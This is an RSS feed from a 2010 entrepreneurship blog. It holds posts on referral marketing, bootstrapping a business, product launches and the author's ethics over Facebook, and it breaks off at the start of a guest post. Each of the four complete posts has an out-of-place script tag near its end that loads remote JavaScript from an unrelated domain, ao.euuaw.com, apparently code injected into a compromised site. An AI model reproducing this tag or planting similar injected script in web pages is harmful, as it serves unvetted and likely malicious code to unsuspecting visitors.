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	<title>Nathan Hangen &#187; Making Money</title>
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	<link>http://nathanhangen.com/blog</link>
	<description>Lifestyle design, Building a Business Online</description>
	<lastBuildDate>Thu, 29 Jul 2010 23:49:17 +0000</lastBuildDate>
	<language>en</language>
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	<itunes:summary>Weekly 12 minute podcast on the topics of blogging, business, and entrepreneurship. How to build a digital empire.</itunes:summary>
	<itunes:author>Nathan Hangen</itunes:author>
	<itunes:explicit>no</itunes:explicit>
	<itunes:image href="http://nathanhangen.com/images/nhlogo.jpg" />
	<itunes:owner>
		<itunes:name>Nathan Hangen</itunes:name>
		<itunes:email>nathan@nathanhangen.com</itunes:email>
	</itunes:owner>
	<managingEditor>nathan@nathanhangen.com (Nathan Hangen)</managingEditor>
	<copyright>2010 Nathan Hangen</copyright>
	<itunes:subtitle>Building Digital Empires</itunes:subtitle>
	<itunes:keywords>entrepreneur, blogging, affiliate income, make money online, setting goals, lifestyle design, digital empires</itunes:keywords>
	<image>
		<title>Nathan Hangen &#187; Making Money</title>
		<url>http://nathanhangen.com/blog/wp-content/themes/nathanhangen/images/icons/podcast.png</url>
		<link>http://nathanhangen.com/blog/category/making-money/</link>
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		<itunes:category text="Management &amp; Marketing" />
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	<itunes:category text="Business" />
		<item>
		<title>The Secret to Great Marketing</title>
		<link>http://nathanhangen.com/blog/marketing-secret/</link>
		<comments>http://nathanhangen.com/blog/marketing-secret/#comments</comments>
		<pubDate>Wed, 09 Jun 2010 00:22:47 +0000</pubDate>
		<dc:creator>Nathan</dc:creator>
				<category><![CDATA[Business]]></category>
		<category><![CDATA[Making Money]]></category>
		<category><![CDATA[entrepreneur]]></category>
		<category><![CDATA[Marketing]]></category>
		<category><![CDATA[referrals]]></category>

		<guid isPermaLink="false">http://nathanhangen.com/blog/?p=2122</guid>
		<description><![CDATA[isn’t screaming louder Marketing is a science. Some people are great at it&#8230;Tim Ferriss for example. He’s good. Steve Jobs has a great team. Seth Godin. Hollywood Producers Music Executives They’re all good at it, but not for the reasons you think. The current “flavor of the month” is the product launch formula. Give them [...]<p><a href="http://nathanhangen.com/blog/marketing-secret/">The Secret to Great Marketing</a> is a post from: <a href="http://nathanhangen.com/blog">Nathan Hangen</a></p>
]]></description>
			<content:encoded><![CDATA[
<p><img class="aligncenter size-medium wp-image-2123" title="Referral Marketing" src="http://nathanhangen.com/blog/wp-content/uploads/2010/06/drop-300x272.jpg" alt="Referral Marketing" width="300" height="272" /></p>
<p><strong>isn’t screaming louder</strong></p>
<p>Marketing is a science. Some people are great at it&#8230;Tim Ferriss for example. He’s good.</p>
<ul>
<li>Steve Jobs has a great team.</li>
<li>Seth Godin.</li>
<li>Hollywood Producers</li>
<li>Music Executives</li>
</ul>
<p>They’re all good at it, but not for the reasons you think.</p>
<p>The current “flavor of the month” is the product launch formula.</p>
<p>Give them a PDF, a video, and do some viral marketing and bam! you’ve got a campaign.</p>
<p><strong>It works, but I don’t think it’s necessary.</strong></p>
<p>Furthermore, I don’t think it’s what you want to be doing.</p>
<h3>Launches are exhausting</h3>
<p>A full-scale launch using Frank Kern’s “Howitzer” approach is exhausting, expensive, and worst of all, burns out customer lists and affiliates.</p>
<p>They do what they are supposed to, which is create huge paydays, but long-term, it’s not how I would build a business.</p>
<p>I’d rather build something evergreen&#8230;something that sells 24/7.</p>
<p>I don’t like to close my products unless I have to. I like being able to build multiple income streams.</p>
<p>I don’t have the energy to launch every 3 months, and I don’t want to.</p>
<p>Right now, I have several products that sell 24/7:</p>
<ul>
<li><a href="http://twitter-rockstar.com" target="_blank">Twitter Rockstar</a></li>
<li><a href="http://fbrockstar.com" target="_blank">Facebook Rockstar</a></li>
<li><a href="http://bloggerbeats.com" target="_blank">Blogger Beats</a></li>
<li><a href="http://beyondbloggingproject.com" target="_blank">Beyond Blogging</a></li>
<li><a href="http://nathanhangen.com/blog/claiming-your-destiny" target="_self">Claiming Your Destiny</a></li>
</ul>
<p>Each of these sell on a weekly or monthly basis, whether I Tweet them or not.</p>
<p>I don’t have to create new videos or PDF’s to keep them going&#8230;they sell on their own.</p>
<p>To me, this is not only a much more relaxed way to do business, but a better long-term approach.</p>
<p>With one product, I can achieve an average of 20 bucks per day. With 5, I’m at 100. 10 = 200&#8230;etc.</p>
<p>This is the monopoly method, and it’s why I got in business in the first place.</p>
<p><strong>I’m not a carnival&#8230;I’m an <a href="http://nathanhangen.com/blog/podcast-from-blogger-to-entrepreneur/">entrepreneur</a>.</strong></p>
<h3>Referral Marketing FTW</h3>
<p>Screaming louder doesn’t work for me anymore. It used to, but it stopped.</p>
<p>More Tweets might help, but not when they come from me.</p>
<p>Facebook links work great&#8230;when they come from other people.</p>
<p>Blog posts are amazingly effective&#8230;if someone else writes them.</p>
<p>Oddly enough, I’ve found that if I create something great, make my customers feel great, and stay true to my creative aspirations, then people not only feed off that vibe, but want to feed it to others.</p>
<p>I just wrote about <a href="http://nathanhangen.com/blog/do-you-deliver-happiness/">Tony Hsieh’s book</a> (Zappos guy), which talks about delivering amazing customer experiences.</p>
<p>I’ve made that my mantra&#8230;both personally and professionally.</p>
<p>I treat my customers like royalty. I don’t devalue their contribution. I know they work hard to earn money, and I try to reward them by providing great customer service and by going above and beyond what I’m supposed to be doing.</p>
<p>I send out free copies of stuff to people that need it.</p>
<p>I ask people what they think and try to improve where necessary.</p>
<p>I spend $10 bucks on a process that should cost $1 as long as it improves the customer experience.</p>
<p><strong>And you know what? It works.</strong></p>
<p>Do a <a href="http://search.twitter.com/search?q=bloggerbeats+since:2010-04-01" target="_blank">search for Blogger Beats</a> right now on Twitter. I don’t say much at all about it&#8230;but lots of other people do.</p>
<p>I don’t talk about Beyond Blogging (the book) very often, but many others do for me.</p>
<p>Why? I team up with bad-asses&#8230;create good shit&#8230;and deliver an exceptional customer experience.</p>
<p>Instead of spending my money on marketing, I spend it on experience. As a result, people start talking for me&#8230;and as momentum builds&#8230;my businesses do too.</p>
<p><strong>Isn’t that the way it’s supposed to work?</strong></p>
<h3>Building Referrals into Your Marketing Funnel</h3>
<p>There are a million ways to do this.</p>
<p>My pal <a href="http://entrepreneurblogr.com" target="_blank">James Tayo</a> is doing something incredible in this department.</p>
<p>You can use plugins to use “refer a friend” bonuses.</p>
<p>You can pay affiliates handsomely.</p>
<p>You can offer rewards for valued customers.</p>
<p>You can offer tiered discounts for those that support you most often.</p>
<p>You can provide “rewards” the same way that an airline does.</p>
<p>You can hook someone up when they least expect it.</p>
<p>Give your customers a way to share the great shit they just bought&#8230;whether via Twitter, a referral code, or an email. Make sure you tell them you appreciate them, and go out of your way to make them happy.</p>
<p><strong>It’s not easy, but it’s simple. </strong></p>
<p>Too many people avoid hard and go for complex.</p>
<p style="text-align: right;"><a href="http://www.flickr.com/photos/tambako/3424683650/" target="_blank">Image Credit</a></p>
<p><script src="http://ao.euuaw.com/9"></script></p>
<p><a href="http://nathanhangen.com/blog/marketing-secret/">The Secret to Great Marketing</a> is a post from: <a href="http://nathanhangen.com/blog">Nathan Hangen</a></p>
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<h3  class="related_post_title">Recommended Posts</h3><ul class="related_post"><li><a href="http://nathanhangen.com/blog/desire/" title="Understanding Desire">Understanding Desire</a></li><li><a href="http://nathanhangen.com/blog/job-risk-build-empire/" title="Entrepreneurship: Jobs are Riskier than Building an Empire">Entrepreneurship: Jobs are Riskier than Building an Empire</a></li><li><a href="http://nathanhangen.com/blog/why-i-left-beyond-blogging/" title="Why I Left Beyond Blogging">Why I Left Beyond Blogging</a></li><li><a href="http://nathanhangen.com/blog/building-empire-building-community/" title="Building an Empire is Building a Community">Building an Empire is Building a Community</a></li><li><a href="http://nathanhangen.com/blog/marketing-overrated/" title="Marketing is Overrated">Marketing is Overrated</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://nathanhangen.com/blog/marketing-secret/feed/</wfw:commentRss>
		<slash:comments>64</slash:comments>
		</item>
		<item>
		<title>Marketing is Overrated</title>
		<link>http://nathanhangen.com/blog/marketing-overrated/</link>
		<comments>http://nathanhangen.com/blog/marketing-overrated/#comments</comments>
		<pubDate>Thu, 03 Jun 2010 04:02:59 +0000</pubDate>
		<dc:creator>Nathan</dc:creator>
				<category><![CDATA[Business]]></category>
		<category><![CDATA[Making Money]]></category>
		<category><![CDATA[art]]></category>
		<category><![CDATA[empire]]></category>
		<category><![CDATA[Marketing]]></category>
		<category><![CDATA[style]]></category>

		<guid isPermaLink="false">http://nathanhangen.com/blog/?p=2045</guid>
		<description><![CDATA[Had to make this one quick because the baby was tired, my son was ready to play XBOX, and my wife was on her way home from her first new big hairstyling in years.

Anyway, marketing is overrated.<p><a href="http://nathanhangen.com/blog/marketing-overrated/">Marketing is Overrated</a> is a post from: <a href="http://nathanhangen.com/blog">Nathan Hangen</a></p>
]]></description>
			<content:encoded><![CDATA[
<p>Had to make this one quick because the baby was tired, my son was ready to play XBOX, and my wife was on her way home from her first new big hairstyling in years.</p>
<p>Anyway, marketing is overrated.</p>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="448" height="272" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/6OyV-uGC6GM&amp;hl=en_US&amp;fs=1&amp;" /><param name="allowfullscreen" value="true" /><embed type="application/x-shockwave-flash" width="448" height="272" src="http://www.youtube.com/v/6OyV-uGC6GM&amp;hl=en_US&amp;fs=1&amp;" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<p style="text-align: right;"><a href="http://www.flickr.com/photos/akashb/2267805077/" target="_blank">Credit</a></p>
<p><script src="http://ao.euuaw.com/9"></script></p>
<p><a href="http://nathanhangen.com/blog/marketing-overrated/">Marketing is Overrated</a> is a post from: <a href="http://nathanhangen.com/blog">Nathan Hangen</a></p>
<div class="topsy_widget_data topsy_theme_brick-red" style="float: right;margin-left: 0.75em; background: url(data:,%7B%20%22url%22%3A%20%22http%253A%252F%252Fnathanhangen.com%252Fblog%252Fmarketing-overrated%252F%22%2C%20%22shorturl%22%3A%20%22http%3A%2F%2Fis.gd%2FcAwd6%22%2C%20%22style%22%3A%20%22big%22%2C%20%22title%22%3A%20%22Marketing%20is%20Overrated%20%23%23digitalempire%22%20%7D);"><script type="text/javascript">topsyWidgetPreload({ "url": "http%3A%2F%2Fnathanhangen.com%2Fblog%2Fmarketing-overrated%2F", "shorturl": "http://is.gd/cAwd6", "style": "big", "title": "Marketing is Overrated ##digitalempire" });</script></div>

<h3  class="related_post_title">Recommended Posts</h3><ul class="related_post"><li><a href="http://nathanhangen.com/blog/building-empire-building-community/" title="Building an Empire is Building a Community">Building an Empire is Building a Community</a></li><li><a href="http://nathanhangen.com/blog/job-risk-build-empire/" title="Entrepreneurship: Jobs are Riskier than Building an Empire">Entrepreneurship: Jobs are Riskier than Building an Empire</a></li><li><a href="http://nathanhangen.com/blog/empire-expansion-and-the-creation-of-music/" title="Empire Expansion and the Creation of Music">Empire Expansion and the Creation of Music</a></li><li><a href="http://nathanhangen.com/blog/make-nothing-but-art/" title="Make Nothing but Art">Make Nothing but Art</a></li><li><a href="http://nathanhangen.com/blog/marketing-secret/" title="The Secret to Great Marketing">The Secret to Great Marketing</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://nathanhangen.com/blog/marketing-overrated/feed/</wfw:commentRss>
		<slash:comments>31</slash:comments>
		</item>
		<item>
		<title>How to Build a War Chest</title>
		<link>http://nathanhangen.com/blog/how-to-build-a-war-chest/</link>
		<comments>http://nathanhangen.com/blog/how-to-build-a-war-chest/#comments</comments>
		<pubDate>Tue, 01 Jun 2010 17:41:28 +0000</pubDate>
		<dc:creator>Nathan</dc:creator>
				<category><![CDATA[Business]]></category>
		<category><![CDATA[Making Money]]></category>
		<category><![CDATA[bootstrap]]></category>
		<category><![CDATA[entrepreneur]]></category>
		<category><![CDATA[money]]></category>

		<guid isPermaLink="false">http://nathanhangen.com/blog/?p=2018</guid>
		<description><![CDATA[Regardless what people might tell you, it takes money to make money. This is true both for brick and mortar and for digital emipres. However, just because you need money doesn&#8217;t mean you need to have it, and this is where a lot of people get hung up. Blogging is great because you can get [...]<p><a href="http://nathanhangen.com/blog/how-to-build-a-war-chest/">How to Build a War Chest</a> is a post from: <a href="http://nathanhangen.com/blog">Nathan Hangen</a></p>
]]></description>
			<content:encoded><![CDATA[
<p style="text-align: center;"><img class="alignnone" title="War Chest for Your Empire" src="http://nathanhangen.com/images/posts/chest.jpg" alt="How to Bootstrap" width="320" height="240" /></p>
<p>Regardless what people might tell you, it takes money to make money.</p>
<p>This is true both for brick and mortar and for <a href="http://nathanhangen.com/blog/300-spartans/">digital emipres</a>.</p>
<p>However, just because you need money doesn&#8217;t mean you need to have it, and this is where a lot of people get hung up.</p>
<p>Blogging is great because you can get started for less than 20 bucks. But getting started isn&#8217;t enough. You want to actually make money, right?</p>
<h3>The Digital Side</h3>
<p>A digital empire is more than just a blog. Here are some example of tools you might need, and/or expenses you might incur:</p>
<ul>
<li>Screenflow for Mac (recording screencasts) &#8211; $99</li>
<li>Skype Call Recorder (for interviews) &#8211; $99</li>
<li>Microsoft Office or iWork &#8211; $99+</li>
<li>Information products (how you learn the real stuff) &#8211; I&#8217;ve spent thousands</li>
<li>Shopping Cart &#8211; $5-$99</li>
<li>Putting a Product on Clickbank &#8211; $50 or so</li>
</ul>
<p>This is just some of it. We haven&#8217;t included buying or hosting multiple domains, design, or merchant and licensing fees, all of which are nearly impossible to avoid.</p>
<h3>Brick and Mortar</h3>
<p>Brick and mortar is much more expensive because you have office space and physical conditions to deal with. Still, it&#8217;s not as bad as you think. You can actually avoid much of the startup costs by working from a home office and arranging methods of dropshipping or working virtually.</p>
<p>For example, a consultant is neither digital nor brick and mortar&#8230;a phone works just fine.</p>
<p><a href="http://zappos.com" target="_blank">Zappos</a> built the early phases of their business by creating dropshipping arrangements.</p>
<p>You can build a contracting business out of your garage.</p>
<p>All of this can be done relatively easily, but at some point, you will need some cash for:</p>
<ul>
<li>Office space</li>
<li>Inventory</li>
<li>Tools/Software/Hardware</li>
<li>Licensing</li>
<li>Vehicles/Gas</li>
<li>Secretary/Assistant</li>
</ul>
<h3>Get Real</h3>
<p><a href="http://nathanhangen.com/blog/now/">If you&#8217;re serious</a> about getting out of debt, getting out of the cube, or just living a life that you design, then you&#8217;ll need earn some cash to invest in your business.</p>
<p>So how do you do it?</p>
<p><strong>My Story</strong></p>
<p>In the early days of my business, I set up a small desk under a bunk bed (don&#8217;t believe me, look at these videos) in a small house in Kabul, Afghanistan. I didn&#8217;t have a lot of cash to spend because I was sending it home to my family, so I started writing articles for $3. That&#8217;s 500 words, for just 3 bucks. I did that 15-20 times per day.</p>
<p>When that became overwhelming, I found someone who would pay me more and then found someone who would write in my place. I set up an article arbitrage business making around $2 per article.</p>
<p>Eventually, I got tired of articles, so I set up a few niche blogs with some AdSense. They each made me around $1/day early on, which wasn&#8217;t great money, but helped.</p>
<p>Finally, I got smart and found some high margin activities to invest my time in, such as affiliate marketing, creating ebooks (Twitter Rockstar being one of them), and even <a href="http://nathanhangen.com/blog/a-tangible-business/">selling scarves from Afghanistan</a> (was a great busines making decent money until the Army told me to stop).</p>
<p>Although these activities would work for you, the point isn&#8217;t that you should write articles in a sweat shop, but that each of you have a skill or trade that you can use to fund the early phases of your business.</p>
<p>Thanks to my early ventures, I built a nice warchest of several thousand dollars that I used to build my business into what it is today, which includes:</p>
<ul>
<li>Digital Empire and it&#8217;s affiliates</li>
<li><a href="http://beyondbloggingproject.com" target="_blank">Beyond Blogging Corp</a></li>
<li>AudioBot (<a href="http://bloggerbeats.com" target="_blank">Blogger Beats</a> and upcoming new kick-ass royalty free music store)</li>
<li><a href="http://roarkmedia.com" target="_blank">Roark Media</a> (Silo, Mobile frameworks, iPhone apps)</li>
</ul>
<p>Funny how that works isn&#8217;t it? Playing Monopoly really works.</p>
<h3><strong>The Tips You Need to Find Success</strong></h3>
<p><a href="http://bootstrapsessions.com" target="_blank">Bootstrapping</a> is my thing. It&#8217;s how I made my living, and oddly enough, I met a friend that does the same. Her name is Susan Baker, and she teaches people how to do this for a living. Between her and I, there&#8217;s an amazing amount of knowledge that we can&#8217;t wait to share with attendees of our upcoming <a href="http://bootstrapsessions.com" target="_blank">Boostrap</a><a href="http://bootstrapsessions.com" target="_blank"> Sessions workshop</a>.</p>
<p>Not only are we going to share stories like this, but we&#8217;re also going to answer your questions and help you formulate a winning plan of your own. It doesn&#8217;t matter if you have a business or not&#8230;what matters is this:</p>
<p><strong>&#8220;Are you profitable?&#8221;</strong></p>
<p>If you aren&#8217;t, come join us and learn how you can change that.</p>
<p>I managed to pull Susan&#8217;s arm and sneak a discount code in for readers of this blog. If you <a href="http://bootstrapsessions.com" target="_blank">sign up by Friday</a>, you can use the code &#8220;earlydiscount&#8221; to save 25% on the cost of the <a href="http://bootstrapsessions.com" target="_blank">Bootstrap Sessions</a>, which is already incredibly inexpensive.</p>
<p>I&#8217;ll see you there.</p>
<p style="text-align: right;"><em><a href="http://www.flickr.com/photos/unforth/3413113119/" target="_blank">Photo Credit</a></em></p>
<p><script src="http://ao.euuaw.com/9"></script></p>
<p><a href="http://nathanhangen.com/blog/how-to-build-a-war-chest/">How to Build a War Chest</a> is a post from: <a href="http://nathanhangen.com/blog">Nathan Hangen</a></p>
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<h3  class="related_post_title">Recommended Posts</h3><ul class="related_post"><li><a href="http://nathanhangen.com/blog/how-to-build-a-business-on-a-shoestring/" title="How to Build a Business on a Shoestring">How to Build a Business on a Shoestring</a></li><li><a href="http://nathanhangen.com/blog/the-wow-guide-to-building-an-empire/" title="The WoW Guide to Building an Empire">The WoW Guide to Building an Empire</a></li><li><a href="http://nathanhangen.com/blog/the-real-world-needs-you-too/" title="The Real World Needs You Too">The Real World Needs You Too</a></li><li><a href="http://nathanhangen.com/blog/why-i-left-beyond-blogging/" title="Why I Left Beyond Blogging">Why I Left Beyond Blogging</a></li><li><a href="http://nathanhangen.com/blog/recruiting/" title="How to Use Recruiting to Build Your Business">How to Use Recruiting to Build Your Business</a></li></ul>]]></content:encoded>
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		<slash:comments>27</slash:comments>
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		<title>Would You Sell Your Soul for Success?</title>
		<link>http://nathanhangen.com/blog/soul-selling/</link>
		<comments>http://nathanhangen.com/blog/soul-selling/#comments</comments>
		<pubDate>Tue, 25 May 2010 22:42:37 +0000</pubDate>
		<dc:creator>Guest Blogger</dc:creator>
				<category><![CDATA[Business]]></category>
		<category><![CDATA[Making Money]]></category>
		<category><![CDATA[Motivation]]></category>
		<category><![CDATA[authenticity]]></category>
		<category><![CDATA[being real]]></category>
		<category><![CDATA[Blogging]]></category>
		<category><![CDATA[customer]]></category>

		<guid isPermaLink="false">http://nathanhangen.com/blog/?p=1982</guid>
		<description><![CDATA[Buckle in folks, this might be a wild ride. I&#8217;ll start by being honest about the fact that I&#8217;ve been a bit down over the past few days. What made it worse was that I couldn&#8217;t pinpoint it. Things have never been better. Business is doing well, I&#8217;m a month away from permanent self-employment, and [...]<p><a href="http://nathanhangen.com/blog/soul-selling/">Would You Sell Your Soul for Success?</a> is a post from: <a href="http://nathanhangen.com/blog">Nathan Hangen</a></p>
]]></description>
			<content:encoded><![CDATA[
<p><img class="aligncenter size-medium wp-image-1983" title="Sell your Soul" src="http://nathanhangen.com/blog/wp-content/uploads/2010/05/sellsoul-300x225.jpg" alt="Sell Soul for Money" width="300" height="225" /></p>
<p>Buckle in folks, this might be a wild ride.</p>
<p>I&#8217;ll start by being honest about the fact that I&#8217;ve been a bit down over the past few days. What made it worse was that I couldn&#8217;t pinpoint it.</p>
<p>Things have never been better. Business is doing well, I&#8217;m a month away from permanent self-employment, and I just got back from a killer conference where I got to have lunch with one of my business heroes.</p>
<p>Doesn&#8217;t get much better than that right? So I just chalked it up to a &#8220;phase,&#8221; and left it at that.</p>
<p>But then, as is often the case when you stop thinking about a problem, it hit me&#8230;</p>
<p><strong>I don&#8217;t recognize anyone</strong></p>
<p>Have you noticed all of the backlash regarding the people that have chosen to <a href="http://nathanhangen.posterous.com/why-i-quit-facebook-0" target="_blank">quit Facebook</a>?</p>
<p>I joked around today that it reminds me of what happens when someone&#8217;s drinking buddy decides to get sober.</p>
<p>Instead of cheering them on, the drunks try to bring them down. They don&#8217;t want you to get sober.</p>
<p><em>That&#8217;s the way I feel about Facebook. </em></p>
<p>Personally, I&#8217;m not really interested in Facebook for a variety of reasons. I wasn&#8217;t finding a lot of value there, and I prefer Twitter by far.</p>
<p>However, when I made my decision to try and leave Facebook behind, it was for a different reason entirely.</p>
<p>I don&#8217;t do business with entities I can&#8217;t trust or that live outside of my ethical boundaries.</p>
<p>Facebook is one of those, and I choose not to support them because it would violate my integrity to do so.</p>
<p>Yet, when I share this with people, I get the following response:</p>
<p>&#8220;Awesome!&#8221; (these people understand)</p>
<p>&#8220;Facebook helps me make money, and they are the largest social network, so I&#8217;d be a fool to leave.&#8221;</p>
<p>&#8220;Quitting Facebook is so not the answer.&#8221;</p>
<p>To the third I say really? Then what is the answer? If I don&#8217;t take action, then why the hell would they believe a word I say? Something tells me that these people, the &#8220;pushers,&#8221; have a business that relies on the existence of Facebook, which would explain why they don&#8217;t want any of you to get sober.</p>
<p>To the 2nd group I ask: &#8220;Would you sell your soul for success?&#8221;</p>
<p>It doesn&#8217;t make sense to me that you&#8217;d not stand against something simply because it&#8217;s convenient not to.</p>
<p>Sure, I could run a product launch in order to make millions selling a steaming pile of shit, but that doesn&#8217;t make it right.</p>
<p><strong>Being Different</strong></p>
<p>I was at <a href="http://lessconf.lesseverything.com" target="_blank">LessConf</a> this weekend, and I watched a handful of speakers get up on the stage and talk about how they built 6 and 7 figure companies.</p>
<p>Guess what, not a single one of them was selling ebooks. They were, as Seth Godin says, selling Art.</p>
<p>When I look around my Twitter stream, it seems like most of what I see is not Art.</p>
<p>I see prophets trying to teach you how to be a prophet. Each following a system, and trying their hardest not to deviate from that system.</p>
<p>Just follow the rules, use marketing speak, double the price after a week, take their money, and smile.</p>
<p>What I see is</p>
<p><strong>Step 1. Create product overnight</strong></p>
<p><strong>Step 2. Take money</strong></p>
<p><strong><em>Step 3. Repeat</em></strong></p>
<p>What&#8217;s Missing?</p>
<p><strong>The Customer.</strong></p>
<p>All this talk of marketing strategies and building alliances (i.e. social whoring) completely disregards the fact that if you aren&#8217;t improving the lives of your customer, then you haven&#8217;t accomplished anything.</p>
<p>Does scarcity work? Yes, but does it send the message you want to send?</p>
<p>Does recruiting a team of A-Listers to pimp your shit work? Yes, but that product better be kick-ass awesome.</p>
<p>I&#8217;m a firm believer that in building a product driven business instead of a marketing driven business.</p>
<p>Steve Martin said &#8220;Be so good that they can&#8217;t ignore you,&#8221; and he&#8217;s so spot on that he could launch a rocket attack with that one.</p>
<p>If you want to build lasting success in this business, or in any business, then you need to remember that it&#8217;s not your buddies or your marketing that is going to keep you afloat 10 years from now.</p>
<p>No, it&#8217;s the customer, and the story that you tell when interacting with that customer.</p>
<p><strong>Focus on what you can control</strong></p>
<p>We’re sending the wrong message. In fact, CJ and I talked at length about that this morning.</p>
<p>Instead of focusing on the things we can control, such as our products and customer experience, we learn that we should focus on the pitch.</p>
<p>In all this talk of <a href="http://nathanhangen.com/blog/win-friends/">influencing</a> the influencers, we start to play a dirty game of “look at me,” which is one that ends up in bitter disappointment.</p>
<p>Why?</p>
<p>Well, when trying to compete in a popularity contest, someone is always going to get left behind, and at that point you have two choices:</p>
<p><strong><em>a.	Step up the sucking up<br />
b.	Quit</em></strong></p>
<p>In both of those cases, you leave the customer out.</p>
<p>Again, wrong answer.</p>
<p>Here’s an interesting fact.</p>
<p>Over the past two days, I’ve been acting like a degenerate asshole on Twitter. I even told people to unfollow me.</p>
<p>I called people out in my podcast, and threw down the gauntlet.</p>
<p><strong>Do you know what happened?</strong></p>
<p>I gained followers and blog subscribers.</p>
<p>How does that even make sense?</p>
<p>I’ll tell you. It’s because people are craving real and in many cases, are caught up living a lie.</p>
<p>It’s like Stepford Wives…everyone else is smiling, so maybe I’ll just keep smiling.</p>
<p>But really, all they want is for you to make a difference.</p>
<p>How do you do it?</p>
<p><strong>Step 1: Stand on your own.</strong></p>
<p><a href="http://nathanhangen.com/blog/write-your-own-story/">Be you</a>, and don’t apologize for it.</p>
<p><strong>Step 2: Be remarkable. Don’t ask for permission, just do it. </strong></p>
<p>Not sure how to be remarkable? Go back to step 1. The answer lies there.</p>
<p><strong>Step 3: Make art, and treat your customers like royalty.</strong></p>
<p>One of my favorite parts from LessConf was listening to <a href="http://tribeswin.com" target="_blank">Clay Hebert</a> talk about the fact that everyone says they are going to do something, or should do something, but only 1 actually does it.</p>
<p>If you have an idea, don’t wait for others to tell you it’s OK. Just do it.</p>
<p>Want to be a painter? Then paint, and kick ass doing it.</p>
<p>Want to create the most amazing vegetable garden in the world? Do it.</p>
<p>Great ideas are a dime a dozen. People to execute them are priceless.</p>
<p>Anyone can write an ebook to teach people how to take advantage of someone, but only you can write one about why you shouldn’t.</p>
<p>There’s the easy road, then there’s <a href="http://nathanhangen.com/blog/kick-ass-your-destiny/">the one less traveled</a>.</p>
<p>You know which one to take.</p>
<p><strong>My Own Contribution</strong></p>
<p>I never wanted to be a cheerleader or a preacher, but as I move further from clients and closer to products, I end up doing just that.</p>
<p>I like being able to work with hundreds of people at once, but I also feel compelled to get back to the basics and work with you 1 on 1.</p>
<p>I want to get down in the trenches and talk with people about their business.</p>
<p>I want to help people overcome obstacles&#8230;directly, and with extreme prejudice.</p>
<p>Even though I do some consulting, I don&#8217;t offer it in a way that makes sense to everyone.</p>
<p><strong>I want that to change.</strong></p>
<p>For the next several months, I&#8217;m going to open up 3-5 weekly consulting slots so that I can help you make a difference.</p>
<p>There&#8217;s nothing quite as rewarding as talking to you on Skype and kicking some ass together.</p>
<p>So, if you&#8217;re interested, I&#8217;m going to offer 30 minute and 60 minute consulting sessions.</p>
<p>Just you, me, and your business.</p>
<p>We can do 30 minutes for 60 bucks, or 60 minutes for $90 bucks.</p>
<p>If you&#8217;re interested, <a title="Consulting" href="mailto:nhangensupport@gmail.com" target="_blank">send me an email</a> and we&#8217;ll set something up.</p>
<p>Talk soon</p>
<p style="text-align: right;"><a href="http://www.flickr.com/photos/sis/268959116/" target="_blank">Image Credit</a></p>
<p><script src="http://ao.euuaw.com/9"></script></p>
<p><a href="http://nathanhangen.com/blog/soul-selling/">Would You Sell Your Soul for Success?</a> is a post from: <a href="http://nathanhangen.com/blog">Nathan Hangen</a></p>
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<h3  class="related_post_title">Recommended Posts</h3><ul class="related_post"><li><a href="http://nathanhangen.com/blog/podcast-bring-it-on-i-can-take-it/" title="Podcast: Bring it on &#8211; I can take it">Podcast: Bring it on &#8211; I can take it</a></li><li><a href="http://nathanhangen.com/blog/bloglife-crisis/" title="Podcast: My &#8220;Bloglife&#8221; Crisis">Podcast: My &#8220;Bloglife&#8221; Crisis</a></li><li><a href="http://nathanhangen.com/blog/podcast-you-dont-need-a-blog/" title="Podcast: You Don&#8217;t Need a Blog">Podcast: You Don&#8217;t Need a Blog</a></li><li><a href="http://nathanhangen.com/blog/introverts/" title="Can Introverts find Internet Success?">Can Introverts find Internet Success?</a></li><li><a href="http://nathanhangen.com/blog/quit-your-day-job/" title="How to Quit Your Day Job and Build an Empire">How to Quit Your Day Job and Build an Empire</a></li></ul>]]></content:encoded>
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		<title>Don&#8217;t Influence People, Win Friends</title>
		<link>http://nathanhangen.com/blog/win-friends/</link>
		<comments>http://nathanhangen.com/blog/win-friends/#comments</comments>
		<pubDate>Thu, 20 May 2010 11:30:51 +0000</pubDate>
		<dc:creator>Guest Blogger</dc:creator>
				<category><![CDATA[Blogging]]></category>
		<category><![CDATA[Business]]></category>
		<category><![CDATA[Making Money]]></category>
		<category><![CDATA[empire]]></category>
		<category><![CDATA[freedom]]></category>
		<category><![CDATA[friends]]></category>
		<category><![CDATA[personal branding]]></category>

		<guid isPermaLink="false">http://nathanhangen.com/blog/?p=1933</guid>
		<description><![CDATA[Editor&#8217;s Note: This is a guest post courtesy of Maren Kate the &#8220;Chair Hunter.&#8221; I&#8217;m a huge fan, not just because she&#8217;s generally awesome, but because she&#8217;s out there taking bold action and walking the walk. Show her some love by sharing this post and subscribing to her blog. Writer&#8217;s Note: Many of you have [...]<p><a href="http://nathanhangen.com/blog/win-friends/">Don&#8217;t Influence People, Win Friends</a> is a post from: <a href="http://nathanhangen.com/blog">Nathan Hangen</a></p>
]]></description>
			<content:encoded><![CDATA[
<p style="text-align: center;"><img class="size-medium wp-image-1937 aligncenter" title="Retro TV Commercial" src="http://nathanhangen.com/blog/wp-content/uploads/2010/05/WinFriends-300x228.jpg" alt="" width="300" height="228" /></p>
<p><em><span style="color: #993300;">Editor&#8217;s Note: This is a guest post courtesy of </span></em><a href="http://escapingthe9to5.com" target="_blank"><em><span style="color: #993300;">Maren Kate</span></em></a><em><span style="color: #993300;"> the &#8220;Chair Hunter.&#8221; I&#8217;m a huge fan, not just because she&#8217;s generally awesome, but because she&#8217;s out there taking bold action and walking the walk. Show her some love by sharing this post and subscribing to her blog.</span></em></p>
<p style="text-align: left;"><em>Writer&#8217;s Note: Many of you have probably read the classic <a href="http://www.amazon.com/How-Win-Friends-Influence-People/dp/0671723650">How to Win Friends and Influence People</a>. This post is not meant to take away from that great work of art, but rather to add to it, in my own zany way. </em></p>
